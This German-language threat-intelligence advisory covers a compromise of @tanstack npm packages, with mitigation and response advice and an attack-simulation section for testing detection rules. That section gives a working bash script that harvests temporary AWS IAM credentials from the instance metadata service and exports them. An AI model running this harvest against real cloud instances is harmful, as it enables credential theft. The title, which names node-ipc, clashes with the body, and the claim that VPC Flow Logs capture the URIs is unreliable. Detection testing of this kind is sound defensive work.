Aktiver Supply-Chain-Angriff kompromittiert node-ipc-Paket

Zusammenfassung

Forscher von Socket haben einen Kompromittierungsangriff auf die Lieferkette aufgedeckt, der 84 npm-Pakete betrifft, die unter dem Namespace @tanstack veröffentlicht wurden. Die bösartigen Updates führten eine stark verschleierte JavaScript-Datei ein, die entwickelt wurde, um secrets im Zusammenhang mit CI von GitHub Actions, AWS, HashiCorp Vault und Kubernetes-Umgebungen zu stehlen und dann diese Anmeldedaten zu verwenden, um sich selbst auf npm erneut zu veröffentlichen. Die Nutzlast pflanzte auch Persistenz-Hooks in den Konfigurationsverzeichnissen von Claude Code und VS Code. Die Forscher verknüpften die Aktivität mit der umfassenderen Mini Shai-Hulud-Malware-Kampagne der Lieferkette.

Untersuchung

Die Untersuchung identifizierte eine neu hinzugefügte Datei, router_init.js, die String-Array-Rotation, eine zusätzliche XOR- und Base64-Decodierungsebene und Daemonisierung verwendete, um ihr Verhalten zu verbergen. Die Malware zielte auf Umgebungsvariablen, Cloud-Metadaten-Dienste und API-Endpunkte, die mit GitHub, AWS, Vault und Kubernetes in Verbindung stehen, um Anmeldeinformationen zu sammeln. Sie verbreitete sich, indem sie die GitHub Actions OIDC-Föderation missbrauchte, um npm-Veröffentlichungs-Tokens zu erhalten, und fügte eine bösartige optionalDependency on @tanstack/setupein. Der Datenabflussverkehr wurde über das dezentrale Messaging-Netzwerk von Session geleitet.

Minderung

Betroffene Organisationen sollten die Hashes aller @tanstack/* Paketinhalte überprüfen, alle CI- und Cloud-Anmeldedaten ändern, offengelegte OIDC-Föderationsgenehmigungen widerrufen und unbefugte Dateien aus den Verzeichnissen .claude and .vscode entfernen. Das Blockieren von ausgehendem Datenverkehr zu filev2.getsession.org und die Durchsetzung von Integritätskontrollen für npm-Pakete können die Exposition weiter verringern. GitHub Actions-Workflows sollten auch gehärtet werden, indem Drittanbieteraktionen festgelegt und id-token Berechtigungen minimiert werden.

Reaktion

Verteidiger sollten nach der Anwesenheit von router_init.js und verwandten Dateinamen suchen, verdächtige erzeugte Prozesse überwachen und bei Zugriff auf identifizierte Cloud-Metadaten-Endpunkte alarmieren. Kompromittierte Pakete sollten in Quarantäne genommen, bösartige Hooks entfernt und alle exponierten Anmeldedaten sofort geändert werden. Sicherheitsteams sollten auch eine vollständige Überprüfung der GitHub Actions-Aktivität auf unbefugte Token-Nutzung durchführen und die Herkunft aller veröffentlichten npm-Pakete validieren.

Simulationsausführung

Voraussetzung: Der Telemetrie- und Basislinien-Pre-Flight-Check muss bestanden werden.

Begründung: Dieser Abschnitt beschreibt die genaue Ausführung der gegnerischen Technik (TTP), die entwickelt wurde, um die Erkennungsregel auszulösen. Die Befehle und Beschreibungen MÜSSEN die identifizierten TTPs direkt widerspiegeln und darauf abzielen, die genaue Telemetrie zu erzeugen, die von der Erkennungslogik erwartet wird. Abstrakte oder nicht verwandte Beispiele führen zu Fehldiagnosen.

• Angriffsnarrativ und Befehle:

  1. Erlange ein IMDSv2-Sitzungstoken – der Angreifer gibt eine PUT Anfrage an den Token-Endpunkt mit einer TTL von 21600 Sekunden.
  2. Verwende das Token, um den IAM-Rollennamen abzufragen unter /latest/meta-data/iam/security-credentials/.
  3. Rufe die temporären IAM-Anmeldedaten ab (AccessKeyId, SecretAccessKey, Token) für das Instanzprofil.
  4. Speichere die Anmeldedaten lokal zur späteren Verwendung (z. B. um AWS-APIs aufzurufen, sich zu schwenken oder Passwort-Spraying-Angriffe durchzuführen).

  Diese Schritte erzeugen HTTP-Verkehr zu den genauen URIs, die in der Sigma-Regel aufgeführt sind, welche, wenn sie von VPC Flow Logs erfasst werden, die Erkennungsbedingung erfüllen sollten.

• Regressionstestskript:

  #!/usr/bin/env bash
  # -------------------------------------------------
  # Skript: aws_imds_credential_harvest.sh
  # Zweck: Simulieren der Ernte von Anmeldeinformationen über IMDSv2 / ECS-Metadaten
  # -------------------------------------------------
  
  set -euo pipefail
  
  # 1. Fordere IMDSv2-Token an
  TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" 
    -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" -s)
  
  if [[ -z "$TOKEN" ]]; then
    echo "[!] Erhalt von IMDSv2-Token fehlgeschlagen"
    exit 1
  fi
  echo "[*] Erhalten von IMDSv2-Token erfolgreich"
  
  # 2. Erhalte den IAM-Rollennamen, der mit der Instanz verknüpft ist
  ROLE_NAME=$(curl -H "X-aws-ec2-metadata-token: $TOKEN" 
    -s http://169.254.169.254/latest/meta-data/iam/security-credentials/)
  
  if [[ -z "$ROLE_NAME" ]]; then
    echo "[!] Abrufen des IAM-Rollennamens nicht möglich"
    exit 1
  fi
  echo "[*] IAM-Rolle der Instanz: $ROLE_NAME"
  
  # 3. Rufe temporäre Anmeldeinformationen für die Rolle ab
  CREDS_JSON=$(curl -H "X-aws-ec2-metadata-token: $TOKEN" 
    -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME)
  
  echo "[*] Abgerufene Anmeldeinformationen:"
  echo "$CREDS_JSON" | jq .
  
  # 4. (Optional) Als Umgebungsvariablen für späteren AWS CLI-Gebrauch exportieren
  export AWS_ACCESS_KEY_ID=$(echo "$CREDS_JSON" | jq -r .AccessKeyId)
  export AWS_SECRET_ACCESS_KEY=$(echo "$CREDS_JSON" | jq -r .SecretAccessKey)
  export AWS_SESSION_TOKEN=$(echo "$CREDS_JSON" | jq -r .Token)
  
  echo "[*] Anmeldeinformationen für die Umgebung exportiert (nur zur Demonstration)."
  # -------------------------------------------------
  # Ende des Skripts
  # -------------------------------------------------

• Bereinigungskommandos:

  # Lösche Umgebungsvariablen, die temporäre Anmeldedaten enthalten
  unset AWS_ACCESS_KEY_ID AWS_SECRET_ACCESS_KEY AWS_SESSION_TOKEN
  
  # Entferne alle temporären Dateien (keine in diesem Skript erstellt)
  echo "[*] Bereinigung abgeschlossen."